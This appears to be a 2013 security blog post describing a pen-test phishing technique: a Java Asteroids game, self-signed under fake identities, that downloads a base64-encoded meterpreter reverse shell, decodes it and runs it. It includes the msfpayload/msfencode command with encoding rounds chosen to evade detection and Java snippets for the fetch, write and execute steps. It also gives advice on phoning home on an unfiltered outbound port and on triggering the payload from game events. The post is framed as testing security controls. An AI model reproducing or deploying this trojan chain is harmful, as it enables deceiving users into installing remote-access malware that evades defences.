Sun, 13 Oct 2013

APT=Asteroids Persistent Threat .:.permalink.:.

Sometimes old skool is best. In a recent pen test I wanted to experiment with ways to use simple non-zero-day attacks to test common security controls like egress filtering, a brand-name IPS and endpoint protection suites.

So the concept was to email a link to a game with a trojan backdoor that burps up a shell outbound to the attacker. Not new, granted, but it turned out to be quite effective. The pieces:

A meterpreter payload: 
	Alter to suit your IP, rounds of encoding, etc:
	msfpayload windows/meterpreter/reverse_tcp LHOST= LPORT=455 R | msfencode -t exe -o meterpreter.exe -c 5 -e x86/shikata_ga_nai

An old skool game:
	Still my favorite is asteroids. Turns out there's a java asteroids clone available from here:

The ingress method:
	OK, so how do we get our victim to open a java app and agree to let it own him without a time-sensitive, ninja-generated 
	Taking a clue from a blog entry I can't find anymore ;-( I thought I'd try transferring the meterpreter payload as base64 to 
	the client. Once there the java app can unpack it and execute.

	base64 meterpreter.exe >

	I had the java applet suck it in over http (testing the web proxy and IPS and they're AV/behavioral/signature inspection) 
                u = new URL("");
                is = u.openStream();
                dis = new BufferedReader(new InputStreamReader(is))

	Unencode it on the client (testing the endpoint protection suite) using this base64 java library:

                FileOutputStream fo = new FileOutputStream("out.exe")
                while ((s = dis.readLine()) != null) {

	Once unencoded, the java applet simply spawns it as a new process:
                Process p = Runtime.getRuntime().exec("out.exe")

The exploit: 
	Signed apps get to break out of the java sandbox if the user allows them. I pieced together the asteroids code, base64 code, 
	the download/launch code above and self-signed it with fake identities I thought folks would allow.

The egress method:
	The process spun up by the java applet is hardcoded to phone home back to the attacker on whatever IP/port you think 
	will work (80,8080,8081,21, etc). In my case I picked a high port I knew wasn't filtered in the egress ACL. 
	Once meterpreter is established, everyone knows it's game over or just beginning depending on your pentest goals.

The result: 
	Pwnage. The email makes it in since it's just a link. 
	The java applet spun up with no problem, prompting the user who of course will allow it so they can play the game. 
	The base64 encoding didn't trip any IPS signatures or endpoint signatures. 
	The meterpreter payload wasn't picked up when it spun off as a process and finally the egress filtering ACL 
	allowed my outbound connection.
	The fun thing is that since the game is the trigger, you can tie the meterpreter process spawn 
	to any event in the game. pwn on game start? pwn on a ship crashing? pwn on game over!?

Posted at: Sun, 13 Oct 2013 | category: /itsec